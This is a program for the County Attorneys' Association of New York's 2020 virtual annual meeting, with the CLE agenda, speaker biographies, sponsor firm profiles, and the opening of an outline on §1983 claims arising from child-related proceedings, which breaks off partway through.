COUNTY ATTORNEYS’ ASSOCIATION OF THE STATE OF NEW YORK

2020 Annual Meeting

Monday, September 14, 2020
Tuesday, September 15, 2020
Wednesday, September 16, 2020
Virtual - 2020 Annual Meeting
September 14, 15, and 16, 2020

Agenda
Monday, September 14, 2020

8:00am – 8:50am  
1983 Actions Stemming from Child-Related Proceedings  
Adam T. Mandell, Esq.  
Maynard, O’Connor, Smith & Catalinotto, LLP

9:00am – 9:50am  
The Top Ten Hits for 2020 – An Update on Labor and Employment Law Developments Affecting Counties  
John F. Corcoran, Esq.  
Whitney Kummerow, Esq.  
Hancock Estabrook LLP

10:00am – 10:50am  
Municipal Case Review and Updates – General Review of Recent Cases Affecting Municipalities from NYS Court of Appeals and All Departments  
Shannon T. O’Connor, Esq.  
Sean P. Beiter, Esq.  
Goldberg Segalla

11:00am – 11:50am  
Tax Lien Foreclosure Procedures & Relevant Issues  
Margaret A. Hurley, Esq.  
Lippes Mathias Wexler Friedman LLP

Tuesday, September 15, 2020

8:00am – 8:50am  
Ethics – Hot Topics for County Attorneys  
Kyle Kordich, Esq.  
Thorn Gershon Tymann and Bonanni, LLP

9:00am – 9:50am  
Solar/Wind Sites Overview  
Gary Bowitch, Esq.  
Bowitch & Coffey, LLC

10:00am – 10:50am  
Update on Procurement Law in New York State  
Teno West, Esq.  
West Group Law PLLC
Wednesday, September 16, 2020

8:00am – 9:00am
(1 CLE Hour)

**Best Practices for Diversity, Inclusion & Elimination of Bias**
Kristen Klein Wheaton, Esq.
Goldberg Segalla

Concurrent Sessions:
9:00am – 9:50am
(1 CLE Hour)

**Cybersecurity Challenges Facing Counties – Part 1**
Reducing Risk of Attacks
Alan Winchester, Esq.
Harris Beach PLLC

OR

** Discrimination, Harassment and Discovery Law Update**
Earl Redding, Esq.
Elena Pablo, Esq.
Roemer Wallens Gold & Mineaux, LLP

Concurrent Sessions:
10:00am – 10:50am
(1 CLE Hour)

**Cybersecurity Challenges Facing Counties – Part 2**
Alan Winchester, Esq.
Harris Beach PLLC

OR

**§1983 Medical Deliberate Indifference Claims in the Prison Context**
Adam I. Rodd, Esq.
Drake Loeb PLLC
Speaker Biographies

SEAN P. BEITER, ESQ., is a Partner at Goldberg Segalla, where he concentrates his practice on the area of traditional labor law for private and public sector employers in the health care, public safety, manufacturing, transportation, education, office, professional, blue-collar, and white-collar settings at the firm’s Buffalo office. His practice focuses on counseling employers in the development of comprehensive strategies and approaches for success in labor-management relationships and disputes. He represents employers in collective bargaining negotiations, contract administration, grievance arbitration, and before the National Labor Relations Board and the New York State Public Employment Relations Board. Mr. Beiter has also represented many employers in numerous disciplinary procedures in various forums, mediations, contract dispute arbitrations, and in compulsory interest arbitration proceedings. He has represented employers during strikes, lockouts, and a myriad of picketing disputes. Mr. Beiter routinely earns the recognition of his peers in the legal field, and has consecutively been listed by The Best Lawyers in America for the past decade. He was named Buffalo’s 2016 Labor Law–Management Lawyer of the Year, with only a single lawyer in each practice area in a given location earning the distinction. He has also been named to the Upstate New York Super Lawyers list every year since 2012.

GARY BOWITCH, ESQ. ’86, is a Founding Member of Bowitch & Coffey, LLC, and has practiced environmental law for thirty years. He represents private, not-for-profit, and municipal clients on an array of state and federal environmental issues, including contamination of water supplies, brownfield redevelopment, regulatory compliance, the State Environmental Quality Review Act, mining, air pollution, and land use and wetland regulation. Mr. Bowitch has advised several New York counties on numerous environmental issues, including the redevelopment of contaminated, tax delinquent properties. He has extensive experience addressing legal and technical issues relating to contamination caused by releases of petroleum, dry cleaner solvents, PFAS compounds, and other emerging contaminants. Mr. Bowitch is also a trained environmental mediator and has successfully mediated complex, multi-party environmental litigation cases. Prior to entering private practice in 1998, Mr. Bowitch was an assistant attorney general and chief of the Attorney General’s Oil Spill Litigation Unit and a senior attorney for the New York State Department of Environmental Conservation. Mr. Bowitch received a BS in chemistry from Union College and a JD from Albany Law School. He is a member of the New York State Bar Association’s Environmental and Energy Law Section and is co-chair of their Petroleum Spills Committee. Mr. Bowitch is admitted to practice in New York.
JOHN F. CORCORAN, ESQ., is the Chair of the Labor & Employment Department and Leader of the Education and Municipal Practices at Hancock Estabrook, LLP. He has extensive experience representing management in labor and employment litigation with an emphasis on the public sector; collective bargaining as the employer's chief negotiator; labor arbitrations; education law; and municipal law, including fire service matters. Mr. Corcoran also serves frequently as the public employer's advocate or designee on compulsory interest arbitration panels for police, fire, and deputy sheriff negotiations. Some recent service in this regard has been on behalf of Onondaga County, Oneida County, Chenango County, Jefferson County, Madison County, the City of Binghamton, the City of Little Falls, and the Village of Baldwinsville. He also serves as a neutral hearing officer in public sector employment matters, including disciplinary cases under Section 75 of the New York Civil Service Law and disability cases under Sections 207-a and 207-c of the New York General Municipal Law. Mr. Corcoran also serves as general counsel to several school districts, advising school boards, superintendents, and administrators with regard to school board policies, student disciplinary matters, student residency issues, school board elections and budget votes, and teacher disciplinary cases. He also represents individual executives in employment matters, including the negotiation of employment contracts and severance agreements. Mr. Corcoran previously served as human resources director for Madison County and Oneida City hospitals. He is a frequent contributor to Hancock Estabrook’s Education Law Blog and Municipal Law Blog. He has been recognized by The Best Lawyers in America (2014–2018). He received the New York State Public Employer Labor Relations Association’s William L. Holcomb Award (2016). Mr. Corcoran’s professional activities include serving as an Executive Committee member of the New York State Bar Association’s Labor and Employment Law Section and as a member of the New York State Public Employer Labor Relations Association’s Board of Directors. He served as co-chair of the New York State Bar Association’s Labor and Employment Law Section, Public Sector Labor Relations Committee and twice as president of the New York State Public Employer Labor Relations Association’s Board of Directors. Mr. Corcoran is a frequent speaker on a number of labor and employment law topics. He received a JD, magna cum laude, from Syracuse University College of Law, where he was student editor of the Syracuse Law Review and a member of the Order of the Coif and the Justinian Honorary Society. He received a BSE, cum laude, from the State University of New York at Cortland. Mr. Corcoran is admitted to practice in New York, the US Court of Appeals for the Second Circuit, and the US District Court for the Northern District of New York and the Western District of New York.

MARGARET A. HURLEY, ESQ., is a Senior Associate in the Litigation practice group at Lippes Mathias Wexler Friedman LLP in Buffalo. She concentrates her practice primarily in commercial and municipal litigation, contract disputes, commercial mortgage foreclosures, tax lien foreclosures, and tax certiorari defense matters. She also handles real estate transactions and bond underwriting. Ms. Hurley has represented clients in all phases of trial and appellate practice before local, state, and federal courts, as well as alternative dispute resolution forums. Additionally, Ms. Hurley has extensive experience in the field of commercial litigation and in the interpretation and application of the New York Civil Practice Law and Rules. Her clients include individuals, small and large
business enterprises, and municipalities. She has been successful in her role as special
counsel to municipalities in a wide range of matters, including risk assessment, tax
certiorari, and tax lien foreclosure proceedings and project management. Ms. Hurley is
qualified to receive Office of Court Administration Part 36 appointments and routinely
serves as Referee in surplus money proceedings. Additionally, Ms. Hurley is qualified to
serve as Referee in foreclosure matters and as a Court Evaluator in Mental Hygiene
Law Article 81 Guardianship Proceedings in Supreme Court. Ms. Hurley is registered
with the American Bar Association’s military Pro-Bono Project Operation Stand-By as a
civilian attorney. In this role, she provides civil litigation consultation to military attorneys
on New York State-specific legal information in order to further assist their service
member clients. She received a JD and MSW form the University at Buffalo Law School
and a BA, cum laude, from Canisius College.

She concentrates her practice in the areas of personal injury, motor vehicle accidents,
premises liability, general litigation, and medical malpractice defense. Ms. Kline also
concentrates her practice in the area of municipal liability litigation, defending
municipalities against civil rights violations. Ms. Kline is admitted to practice in the State
of New York, Northern District of New York, and is a member of the New York State Bar
Association. Prior to joining the firm, Ms. Kelly gained widespread experience in criminal
and civil litigation at a Hudson Valley litigation firm, with focus areas of criminal defense,
motor vehicle accidents, no-fault, premises liability, and general litigation. Ms. Kline
attended the State University of New York at New Paltz, where she earned a Bachelor
of Arts degree in Political Science in 2014. She received a Juris Doctorate from Albany
Law School in 2017. While at Albany Law School, Ms. Kline competed and was a finalist
in a number of Anthony V. Cardona ’70 Moot Court Programs, including the Donna Jo
Morse Client Counseling Competition, Donna Jo Morse Negotiations Competition,
and the Karen C. McGovern Senior Prize Trials Competition. In addition, she interned for the
Schenectady County Public Defender’s Office, the Rensselaer County District
Attorney’s Office, and the Saratoga County District Attorney’s Office, defending and
prosecuting criminal matters. Ms. Kline is also a certified apprentice mediator with a
focus in civil, landlord/tenant, and child custody matters.

KYLE N. KORDICH, ESQ., is a trial attorney at Thorn Gershon Tymann and Bonanni,
LLP, where he manages and conducts all stages of civil litigation cases with experience
in a wide range of issues including products liability, medical malpractice, and general
civil litigation in both New York State and federal district courts. Mr. Kordich also
represents medical professionals in professional discipline and licensing proceedings
and is an experienced criminal defense attorney. He is AV Rated by Martindale-Hubbell.
Mr. Kordich regularly practices in state and federal courts throughout New York State
and works closely with clients to develop and implement litigation, discovery, settlement,
and trial strategies. Mr. Kordich strives to build cohesive, goal-oriented teams and
strong coalitions of experts that achieve positive results for clients in complex litigation.
He is a past president and current executive board member of the Saratoga County Bar
Association. In addition to his active membership in various bar associations, Mr.
Kordich has lectured on a variety of topics relating to litigation in New York State and
federal courts. Mr. Kordich is admitted to practice in New York, the US District Court Eastern District of New York; the US District Court, Northern District of New York; US District Court, Southern District of New York; US District Court, Western District of New York; and US District Court, District of Vermont. He received a JD from New York Law School and a BA from Binghamton University. Mr. Kordich is a member of the New York State Bar Association; past president and current executive board member of the Saratoga County Bar Association; a member of the Capital District Trial Lawyers Association; and a member of the Defense Research Institute.

WHITNEY M. KUMMEROW, ESQ., focuses her practice in the areas of labor and employment, education, and startup and emerging businesses at Hancock Estabrook LLP. She counsels both public and private sector employers in all types of labor and employment-related matters, including employee litigation, compliance with applicable labor laws, labor-management relations, development and implementation of employment practice, policies, and handbooks, and managing employee performance issues. Ms. Kummerow is a regular lecturer on transgender issues, The Family Medical Leave Act (FMLA), Americans with Disabilities Act (ADA), and employment liability. As a member of the Startup and Emerging Business Practice Area, Ms. Kummerow counsels entrepreneurs on various issues, including best hiring practices, policy creation, and initial wage and hour compliance for new businesses. Prior to joining the firm, Ms. Kummerow clerked for the United States Department of Labor's Office of Administrative Law Judges and served as a judicial intern for the Honorable Jean K. FitzSimon of the US Bankruptcy Court for the Eastern District of Pennsylvania. More recently, she practiced labor and employment law at Sobol & Sobol, P.C., in Philadelphia, Pennsylvania.

MICHAEL MONTAGLIANO is Chief Technology Officer and Vice President of Consulting at iV4. Mr. Montagliano joined iV4 in November 2011 after nearly 20 years of information technology experience in various sales, technical, and management roles. AsChief Technologist, Mr. Montagliano is responsible for the overall technology strategy and execution at iV4. He also serves as Director of Consulting Services and is responsible for delivery of information technology assessment and architectural design services. His subject matter expertise is in security and disaster recovery, and he and his team have been engaged with organizations across the country. Mr. Montagliano is no stranger to mobility after spending twenty years on the road as a performer and music producer. It was his appetite for music technology and desire to settle down that led him to begin a transformation into a career in business technology. It is his love for music that inspires him to bring his creativity to the world of IT. Mr. Montagliano is a believer in creating good teams and brings that mindset to work every day, while building the consulting group at iV4. He believes the sum is greater than the parts and it is crucial to build a team that brings various subject matter experts together to solve a business problem.

SHANNON O’CONNOR, ESQ., is a Partner at Goldberg Segalla in Syracuse, NY. She focuses her practice on municipal and governmental liability, professional liability, general liability, and matters involving employment and labor. Ms. O’Connor defends
clients in a range of matters in both federal and state court, and has taken nearly ten trials to verdict in the Northern District of New York on Section 1983 civil rights matters and Title VII employment discrimination cases. She also has significant appellate experience and has submitted several briefs to the US Court of Appeals for the Second Circuit. Before entering private practice, Ms. O’Connor served for several years as Assistant Corporation Counsel for the City of Syracuse, where she represented the city and its officials in a wide variety of litigation, including administrative proceedings before New York State agencies, such as the Department of Environmental Conservation, and in nuisance-abatement proceedings for problem properties. She also provided advice and recommendations to the City of Syracuse Police Department on its policies and procedures related to officer training and the use of force, including drafting a new Taser-use policy, and drafted legal opinions on various issues for city departments, including the mayor’s office.

**ELENA P. PABLO, ESQ.**, is an Associate Attorney at the law firm of Roemer Wallens Gold & Mineaux, LLP. She joined the firm in September 2013 as a member of the Labor and Employment Team. Ms. Pablo received a bachelor’s degree in sociology at Ithaca College in 2007. She graduated from the Maurice A. Dean School of Law at Hofstra University in 2013, where she served on the editorial board of *The Hofstra Family Court Review*. Prior to entering law school, Ms. Pablo worked in the public sector for the New York State Department of Financial Services. Her practice focuses on various aspects of labor relations and municipal law on behalf of public sector employers, including employee disciplinary proceedings, proceedings before the New York State Public Employment Relations Board, employment litigation, and policy drafting, as well as providing guidance on compliance with state and federal labor, discrimination, and public record disclosure laws. Ms. Pablo also provides employee training on many issues, including anti-discrimination and harassment, workplace violence, employee corrective action, progressive discipline, and social media. She has served as a conference speaker for the New York State Public Employment Labor Relations Association, the County Attorneys' Association of the State of New York, and the New York State Conference of Mayors. She is a member of the New York State Public Employment Labor Relations Association and the New York State Bar. Ms. Pablo is admitted to practice in New York.

**EARL REDDING, ESQ. ’03**, is a Partner in the Albany, NY, firm of Roemer Wallens Gold & Mineaux LLP. Mr. Redding has successfully litigated in trial courts throughout New York State and has prevailed in appellate arguments before the Appellate Division and the Court of Appeals. He has also successfully litigated in federal district courts and the Second Circuit Court of Appeals. Mr. Redding practices extensively in administrative hearings, arbitration, and disciplinary and other administrative proceedings as a member of the firm’s Labor and Employment Group. Prior to entering private practice, Mr. Redding was an assistant district attorney in St. Lawrence County and a New York assistant attorney general in the Division of State Counsel. Mr. Redding received a JD from Albany Law School and a BA in political science from Gettysburg College. He is a member of the Executive Committee of the Albany Law School National Alumni Association. He is admitted to practice in New York.
ADAM L. RODD, ESQ., is a Partner in Drake Loeb PLLC. He focuses his practice on handling a variety of litigation cases pending in New York State and federal courts and before various administrative agencies. A skilled litigator for clients in matters involving business-related disputes, labor issues, and personal injury, he is perhaps best known as a top insurance defense attorney. In this capacity, he represents clients on behalf of several insurance carriers in New York and regularly defends cases, of all types, involving multi-million-dollar exposure. Mr. Rodd has extensive experience and expertise in defending Section 1983 civil rights claims, employment discrimination lawsuits, medical malpractice claims, and all varieties of civil litigation. Complementing his defense practice, Mr. Rodd has served as the zoning board attorney for several municipalities in the Hudson Valley region. His clients choose him as their attorney because of his concern to get them as close to their desired results as circumstances allow in a manner that is efficient, cost-effective, and goal-oriented. His strategy and legal activities are as transparent as possible, with the client being fully informed and consulted at every stage. Mr. Rodd is also a proud supporter and member of the Board of Directors for Safe Harbors of the Hudson, a non-profit organization devoted to the positive development of the City of Newburgh though the arts and affordable housing for those living with disabilities, veterans, the formerly homeless, artists in need of affordable live-work space, and low-income working adults. Mr. Rodd received a BS in 1984 from the State University at Buffalo and a JD from the University of Toledo in 1987. He is admitted to practice in Connecticut (1987), New York (1988), and the United States District Court in the Southern, Eastern, and Northern Districts of New York.

TENO WEST, ESQ., serves as the Managing Partner of West Group Law PLLC. His practice focuses primarily on representing municipal governments in the areas of water and wastewater law, environmental, regulatory, public-private partnerships, solid waste management, public contracts, municipal law, litigation, procurement law, administrative law, and construction law. He is a nationally recognized expert in the areas of his practice. Mr. West has served as the lead negotiator for the development of several cutting-edge environmental and civic municipal infrastructure projects throughout the United States. Mr. West has special experience in the development of urban renewal and municipal construction projects representing municipalities and development corporations in the procurement, construction, operation, and financing of a variety of civic projects, including sports stadiums, municipal buildings, and educational facilities. The value of infrastructure projects that he has assisted with exceeds $10 billion. Mr. West has assisted governments with the drafting and enactment of legislation necessary for such alternative delivery methods to be lawfully implemented. Additionally, his practice includes counseling his clients with respect to environmental infrastructure projects, including water, wastewater, combined sewer overflow, solid waste, co-composting, materials recovery, and conversion technology and waste-to-energy projects. His litigation experience includes representing public clients on numerous matters, including in connection with challenges to legislation, environmental matters, Freedom of Information Law issues, Article 78 proceedings, project approvals, bid protests, construction claims, and contract enforcement. Mr. West has extensive experience in representing government agencies and municipalities in the public
procurement process and is a frequent lecturer on this and related subjects. His experience as a lawyer was preceded by a unique opportunity to serve as the Town Manager of Hardwick, Vermont, and Town Administrator of Carlisle, Massachusetts. In his capacity as a municipal manager, he also served on regional solid waste district governing boards in both states. His numerous professional associations and memberships include the Design-Build Institute of America; the International Municipal Lawyers Association; the National Council for Public Private Partnerships; the Solid Waste Association of North America; the International City/County Management Association; the New York State Bar Association; the New Jersey Bar Association; the Massachusetts Bar Association; the Pennsylvania Bar Association; and the American Bar Association.

KRISTIN KLEIN WHEATON, ESQ. ‘94, is a partner in Goldberg Segalla’s Buffalo office, where she counsels and defends the interests of clients involved in complex labor and employment and commercial disputes. Her wide-ranging experience includes labor and employee relations, contract negotiations, representing boards and municipalities, and assisting clients with the creation and maintenance of compliance strategies for state and federal laws. Over the course of her 20-year legal career, Ms. Wheaton has held a variety of positions in the public and private sectors. Most recently, she was the Executive Vice President for Legal Affairs at a large community college in Western New York, where, in reporting to its president, she managed a team of 20 professionals across a range of departments and represented the college on matters involving Title IX, assessment and accreditation, civil service, contract, higher education regulatory and statutory issues, labor and employee relations, and litigation. Ms. Wheaton also spent several years in the Erie County Attorney’s Office as an assistant county attorney, a first assistant county attorney, and the acting county attorney representing the County in federal and state courts and before administrative agencies in a wide range of municipal matters. While there, Ms. Wheaton also served as general counsel to the Erie County Commissioner of Personnel, Equal Employment Opportunity Office, and Office for the Disabled. Ms. Wheaton also currently serves as an adjunct instructor in the legal studies program at a Buffalo-area private four-year institution. In 2015, she was named one of Western New York’s Legal Elite by Buffalo Business First and the Buffalo Law Journal. Ms. Wheaton is a graduate of Michigan State University and Albany Law School.

ALAN WINCHESTER, ESQ., is Member of Harris Beach PLLC, where he leads the firm’s Cybersecurity Protection and Response Practice Group and the E-Discovery Practice Group. Mr. Winchester is experienced in all phases of the electronic discovery process. He and his group, which includes forensically trained IT professionals, routinely help organizations with the identification and preservation of potentially relevant content and its collection, review, and finally production to the requesting party. He is a pioneer in the use of predictive coding to cost effectively and quickly identify responsive documents for early case assessment and review purposes and has been lecturing and writing in this area for the last four years. Mr. Winchester has developed sampling methods used to test key word searches and to validate coding decisions. He assists organizations in developing and implementing compliance programs for critical
information and systems, offering guidance on legal and regulatory requirements associated with the storage of protected information and what to do in the event of a data breach; developing and implementing an information security incident response plan; working with IT professionals to investigate the scope of a data breach; and working to represent organizations faced with either government investigations or private actions associated with cybersecurity loss. He works with organizations to develop information governance policies. In the tort arena, he focuses his practice primarily on litigation involving technology and pharmaceutical products. Mr. Winchester is a member of the Claims and Litigation Management Alliance, the Defense Research Institute, and the New York State Unified Court System’s E-Discovery Working Group, where he serves as co-leader of the Operations Group by appointment of Chief Administrative Judge Ann Pfau. Mr. Winchester received a JD in 1989 from Brooklyn Law School and a BA in 1986 from Trinity College. He is admitted to practice in New York; in the US District Court, Southern District of New York; and in the US District Court, Eastern District of New York.
2020 Annual Meeting

Sponsors:

Hancock Estabrook, LLP
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COUNTY ATTORNEYS’ ASSOCIATION OF NEW YORK
2020 VIRTUAL ANNUAL MEETING
SEPTEMBER 14, 15, AND 16, 2020

ASSOCIATE MEMBER FIRM BIOGRAPHIES

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Barclay Damon

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A leading Northeast firm made up of 275 attorneys, Barclay Damon LLP is the largest law firm based in Upstate New York. As a full-service law firm with experience in virtually every legal area that county attorneys and other clients may require, we team across practices to provide customized, targeted solutions informed by deep industry understanding. Barclay Damon offers well-respected legal counsel in areas that include municipal, environmental, real estate and project development, land use and zoning, labor and employment, business and finance, commercial and civil litigation, energy, and intellectual property, among numerous others. Barclay Damon also has one of largest health law practices in Upstate New York, and the firm’s growing cross-border practice offers clients access to 135 lawyers on the US-Canada border. Barclay Damon has offices with 30 to 105 attorneys in Albany, Buffalo, Rochester, and Syracuse. The firm also has growing offices in Boston, New Jersey, New York City, New York State’s Southern Tier, Toronto, and Washington, DC.

Bond, Schoeneck & King, PLLC

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BS&K has a long history of representing the public sector with a comprehensive array of services to meet their varied and sophisticated needs.

Our Municipalities Practice Group draws upon the expertise of attorneys from across the firm to match their areas of concentration with the many and sometimes complex legal issues facing our municipal clients. Our client roster includes 34 cities, 31 counties, 130 towns, 91 villages, 46 school districts and 14 governmental agencies.

Our Bond Counsel/Public Finance Practice offers two principal benefits: first, with offices throughout New York State, we are available on short notice to attend meetings, review financing
plans and consult with parties. Second, as an Upstate-based firm, our fees are typically lower than similarly qualified New York City firms.

Our Construction Practice is focused on legal services to owners. We participate in the negotiation and execution of construction contracts and other contract documents necessary for projects to proceed in a timely manner and within cost estimates. When disputes arise, we counsel our clients on negotiation strategies, and we prosecute litigation, arbitration, other forms of dispute resolution, and surety bond claims, as required.

Our Energy Law Practice counsels clients about legal obligations that can arise in connection with the purchase, sale, production and distribution of energy under New York State and federal laws and regulations.

Our Environmental Law Practice regularly assists municipalities to resolve environmental issues arising under local, state and federal environmental laws and regulations including Regulatory Compliance, State Environmental Quality Review Act (“SEQRA”) matters, redevelopment of Brownfield sites, and Environmental Enforcement and Litigation. Our attorneys are well known, and are respected by state and federal regulatory representatives, both at the regional and headquarters level.

Our Government Relations Group represents clients before the New York State Legislature, the Executive branch and all state agencies, including the Departments of Environmental Conservation, Law, State, Labor, Transportation and Taxation and Finance. We have drafted and shepherded through the legislature special legislation.

Our Labor and Employment Law Practice serves clients with unionized workforces in such matters as collective bargaining, labor arbitration and representation before the National Labor Relations Board or appropriate Public or State Labor Relations Board in both unfair labor practice and representation matters. For non-unionized clients, we provide assistance in the preparation of personnel policies, including counseling on employee screening and testing, supervisory training, and advice in responding to union organizing campaigns.

Our Litigation Practice represents municipalities in a wide range of matters in both state and federal courts, defending municipalities in numerous Article 78 proceedings, defending breach of contract and other claims, including construction disputes. We have represented municipalities and their employees in Section 1983 and other civil rights actions in Federal and State Courts.
Bowitch & Coffey

Gary Bowitch, Esq.
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Combining almost 50 years of legal experience, Bowitch & Coffey will provide a broad range of legal services with emphasis on Environmental Law, Subrogation, Municipal Law, Real Estate, Insurance and other Civil Litigation. Bowitch & Coffey assists several New York counties in addressing contaminated, tax-delinquent properties. The firm’s environmental and municipal law practice include extensive experience in contamination of water supplies, brownfield redevelopment, regulatory compliance, the State Environmental Quality Review Act, air pollution, energy law, land use and wetland regulation. Mr. Bowitch is also a trained environmental mediator and has successfully mediated complex, multi-party environmental litigation cases.

Colucci & Gallaher, P.C.

Anthony J. Colucci III, Esq.
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From its main office atop the historic Liberty Building in Buffalo, New York, the law firm of Colucci & Gallaher, P.C., provides business counseling and litigation-related services to private businesses and municipal entities throughout western New York, the northeastern United States and nationally.

The business attorneys of C&G are skilled advisors and advocates who work hard to provide the highest-quality legal services on time and at a reasonable cost. The firm currently counsels some of the world's largest and upstate New York's smallest businesses, including oil companies, one of upstate New York's largest commercial real estate brokers, downtown Buffalo's largest commercial landlord, one of the area's fastest-growing development companies, the world's largest manufacturer of aerial work platforms, the nation's leader in designing specialty trucks, and the largest hospital and nursing home in the region.
The firm's attorneys have handled disputes in federal and state courts across the country, including California, Connecticut, the District of Columbia, Florida, Illinois, Indiana, Maryland, Massachusetts, Michigan, Minnesota, New Hampshire, New Jersey, New York, Ohio, Pennsylvania, Virginia and West Virginia.

In these forums, C&G has protected the interests of clients in products liability claims, employer-employee disputes, complex commercial and business litigation, the defense of personal injury claims and contract litigation.

The attorneys of C&G regularly practice in the courtroom, before private arbitration panels and in mediation proceedings.

**Goldberg Segalla**

Jonathan M. Bernstein, Esq.
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www.goldbergsegalla.com

In 2001, Goldberg Segalla was founded as a modern, refreshing alternative to the typical law firm. Today, we are proud to serve as trial counsel for a number of Fortune 100 companies and to continue building an ongoing history of success. Of course, we also care for our communities and support numerous efforts to enhance the diversity and quality of life in the areas in which we work and live.

Every day at Goldberg Segalla, we are guided by our mission to be a Best Practices firm. We pride ourselves on following client guidelines and exceeding client expectations. We have also invested in Best Practices in numerous other ways, including implementing systems that reward the team over the individual, thereby helping us achieve our goal of exceptional client service.

We truly appreciate the accolades we have received from our clients and colleagues acknowledging our commitment, outstanding legal skills, dedication to client service, and professional demeanor.

Goldberg Segalla has been lauded for its commitment to diversity. We believe a diverse work environment—one that brings together a wide range of perspectives, cultures, and experiences—enhances our ability to represent our clients successfully and benefits the greater business community. We continually develop relationships with law schools and diversity-focused associations, and we are proud to have been recognized by national, regional, and local organizations for implementing initiatives that make a difference.
We recognize the importance of supporting our communities and we are proud to contribute to, volunteer for, and serve on boards of many charitable organizations, some of which were actually founded by our attorneys. We support all endeavors that our attorneys and other professionals are passionate about, from charitable and professional organizations to pro bono projects and activities. Our lawyers proudly work hard on behalf of their clients and just as hard in support of important causes.

**Hancock Estabrook, LLP**

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Hancock Estabrook, LLP, founded in 1889, is one of Upstate New York’s leading law firms. We represent clients in a number of different industries, offering counsel and representation on a wide array of legal topics. Our attorneys are recognized in their practice areas as having both the knowledge and experience to represent clients in complex legal matters. At the same time, our attorneys in various practice areas function seamlessly with one another to provide comprehensive and efficient delivery of legal services.

Our legal services are provided in a timely and responsive manner providing our clients with value and personal attention. Our Firm’s clients range from corporations traded on national stock exchanges to small local businesses and not-for-profit organizations, and from emerging companies to long-standing enterprises. The Firm’s reputation for excellence in handling complex legal matters in its primary practice areas of law is unsurpassed.
Harris Beach PLLC

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Harris Beach recognizes the issues that are unique to municipalities because the firm has served or serves well over 100 counties, cities, towns and villages throughout New York State. Our attorneys and professionals assist these entities by providing legal guidance and support on a full range of municipal matters including, but not limited to, general municipal law; municipal litigation; regulatory compliance and oversight; strategic and operational efficiencies for municipalities; land use, zoning, and development; community planning; economic development; labor and employment; real estate and project management; energy law; communications and crisis management services; and grant writing and administration. In addition, we represent virtually every level of state and local government, along with dozens of public authorities, industrial development agencies and local development corporations. In this capacity, Harris Beach has represented municipal boards, municipal corporations, agencies and authorities, in a diverse array of legal, policy, regulatory and programmatic matters.

Through our experience representing a broad range of public entities for decades, our attorneys fully understand the financial pressures and operating constraints municipalities face as well as the preferences for how to best manage the delivery of legal services. This understanding not only comes from our service to public entities but also from the fact that many of our attorneys have served in the public sector. By way of example, Harris Beach has over 50 attorneys with government experience, including current and former state legislative representatives, public authority chairs and board members, municipal attorneys, as well as other professionals who have served in the public sector as policy makers, economic developers, chief executive officers and project managers. This unique collection of experience provides public sector clients with an unmatched perspective when providing counsel to ensure responsible governance, implementing effective policies, addressing finance goals, and adhering to federal, state and local regulations.

Harris Beach is a leader in the practice of municipal law and provides public service information and guidance through an acclaimed online blog at www.nymuniblog.com
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Hawkins Delafield & Wood LLP is the only national law firm in the United States whose practice is devoted primarily to public finance and public projects. Each of our specialty areas supports and complements our municipal transactions practice. The Firm has more attorneys engaged in the full time practice of public finance and projects than any other law firm in the country. This concentration of expertise constitutes an unparalleled resource for our clients. The Firm is consistently ranked among the top in the nation among law firms in terms of volume as bond counsel and underwriters’ counsel, according to Thomson Financial, and on a cumulative basis, the Firm has been ranked first nationally since 1980 (when statistics began to be compiled). Hawkins has participated in virtually every type of transaction in the public finance arena. Our project finance and public contracts practices are also distinguished in their breadth and experience. The Firm also has the richest heritage in terms of service to the municipal industry. Founded in 1854, the Firm has been recognized nationally for its bond opinions since the late 19th century. Our attorneys have taken part in many of the landmark undertakings in our nation’s history, including toll ways, port authorities, housing finance agencies, environmental facilities, fiscal recovery agencies, and non-profit institutions. Hawkins has evolved into a full service public finance law firm of over 100 lawyers. The Firm’s New York office is on the site of Alexander Hamilton’s law office, at 67 Wall Street. The Firm now also maintains offices in Los Angeles, San Francisco and Sacramento, California, Washington, D.C., Newark, New Jersey and Hartford, Connecticut. Areas of Practice: Public Finance, Public Law, State and Federal Securities, Tax, Real Estate and Redevelopment, Banking, Eminent Domain, Procurement, Contract, and Privatization.
Maynard, O’Connor, Smith & Catalinotto LLP

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Since 1919, when two distinguished Capital Region attorneys, William C. Maynard and Gerald W. O’Connor formed a partnership for the practice of law, the Maynard, O’Connor law firm has been a hallmark for legal expertise throughout upstate New York. Today, 99 years later, Maynard, O’Connor, Smith & Catalinotto, LLP, has a team of over a dozen attorneys and associates working for clients out of three upstate New York offices. Since the firm’s inception, a substantial portion of our practice has centered on the broad area of civil litigation in both New York State and Federal Courts. Throughout this entire period of time, we have also offered comprehensive legal services in the area of Municipal Law, including, civil rights claims; construction litigation arising from public works projects; commercial disputes; Native American sovereignty/Non-Intercourse Act claims; bankruptcy; and, general liability claims. At Maynard, O’Connor, we pride ourselves on the important things. Our partners and attorneys work everyday to help our clients with the best possible legal representation. Every attorney works with our clients and every attorney evaluates him or herself on the successful resolution of matters for our clients. There is nothing more important. Our team subscribes to the highest code of ethics in our industry. We work for our clients and want them to feel comfortable knowing that we are only here to help them. We work to ensure that each of our clients feels that they are the most important client we have. We strongly believe in our team and our community. Working together, we strive to improve our community through charitable and civic contributions and efforts. This makes us all better attorneys and people. Because of our history, values and people, our clients often stay with us for decades. We’ve been here for them for 99 years and will continue to be far into the future.
McCabe & Mack LLP

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West Group Law PLLC

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Members of West Group Law PLLC (“WGL”) have extensive experience representing municipalities and other public entities in connection with water and wastewater systems and projects, solid waste systems and projects, civic projects, municipal buildings, environmental and regulatory matters, transportation, developing regional utility systems, structuring requests for
proposals, contract negotiations, alternative project delivery methods, land use development, and construction law.

Members of our firm have spent their careers serving state and local governments. We understand the challenges public entities face because many of our attorneys once worked in senior positions in local government. This experience enables us to provide state and local governments with efficient, creative, and low cost solutions across the United States.

WGL has offices located in Albany and White Plains, and we represent clients throughout the country.
1983 Actions Stemming from Child-Related Proceedings

Kelly Kline, Esq.
CHILD NEGLECT AND ENDANGERMENT PROCEEDINGS AND 1983 CLAIMS:
HOW TO AVOID GETTING SUED AND HOW TO HANDLE IF YOU DO

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POSSIBLE 1983 CLAIMS

1. **First Amendment Retaliation**
   - Child statements to defendants (Police, Social Workers, Case Workers, Emergency Medical Technicians, Etc.) are constituted protected speech under the Free Speech Clause of the First Amendment.

2. **Fourth Amendment Illegal Entry and Search**
   - Defendants (Police, Social Workers, Case Workers, Emergency Medical Technicians, Etc.) enter and search a home and/or technology (Cell phones, computers, etc.) without a search warrant, probable cause, consent, and in the absence of exigent circumstances.

3. **Fourth Amendment Unlawful Seizure Removal of Children**
